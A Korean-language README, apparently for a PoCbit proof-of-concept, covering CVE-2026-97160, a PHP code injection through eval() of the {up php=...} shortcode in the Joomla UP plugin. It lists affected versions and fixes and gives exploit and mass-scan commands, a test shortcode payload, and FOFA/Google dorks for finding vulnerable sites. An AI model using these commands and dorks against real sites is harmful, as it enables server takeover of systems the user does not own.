CVE-2026-97160 — UP 플러그인 PHP 코드 인젝션 (Joomla)

CVE-2026-97160 — Joomla용 UP (Universal Plugin) (lomart.fr / up.lomart.fr)에 대한 Python 3 PoC입니다.

설명 (PoCbit / GitHub)

CVE-2026-97160 — UP 플러그인 5.0.0–5.2.0 및 6.0.0–6.0.29는 **eval()**로 처리되는 {up php=...} 숏코드를 통해 PHP 코드 인젝션을 허용합니다(CWE-94). CNA는 이를 인증됨 / 높은 권한으로 분류합니다. 6.1.0 / 5.2.1 이전에는 글 작성자가 저장 시와 렌더링 시의 이름 정규화 차이를 통해 예약된 액션 검사를 우회할 수 있었으므로, 글에 포함된 PHP가 모든 방문자에 대해 실행되었습니다. CVSS 4.0 9.4 Critical. 수정: UP 6.1.0(Joomla 5.2+) 또는 5.2.1(Joomla 3.10–5.1).

관련 항목(동일 릴리스): CVE-2026-97161(파일 읽기 / 경로 순회), CVE-2026-97162(SQLi), CVE-2026-97163(GitHub 미니 설치).

PoC 페이지: https://pocbit.org/pocs/cve-2026-97160

PoCbit

카탈로그: https://pocbit.org/pocs/

제품	Joomla용 UP 플러그인 (plg_content_up)
경로	plugins/content/up/
영향 받음	5.0.0–5.2.0, 6.0.0–6.0.29
수정됨	5.2.1, 6.1.0
벡터	글/모듈 숏코드 {up php=...}
할당자	Joomla CNA

사용법

pip install -r requirements.txt

python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10

실습 환경: 관리자로서(또는 취약한 빌드에서는 작성자로서) 글 본문에 다음을 추가합니다:

{up php=echo 'POCBIT-97160-OK';}

게시한 다음 --mode exploit --article-url <공개 URL>을 실행합니다.

FOFA / Google

body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"

GitHub 소개 (EN)

CVE-2026-97160 PoC: Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — 권한 있는 {up php=} 숏코드 eval 코드 인젝션(구버전 빌드에서는 작성자 우회). PoCbit

요약 (TR)

CVE-2026-97160: Joomla UP 플러그인에서 {up php=...}를 통해 서버에서 PHP 실행; 6.1.0 / 5.2.1에서 수정되었습니다.

법적 고지

승인된 테스트에만 사용하십시오. 소유하지 않은 사이트에 악성 숏코드를 게시하지 마십시오.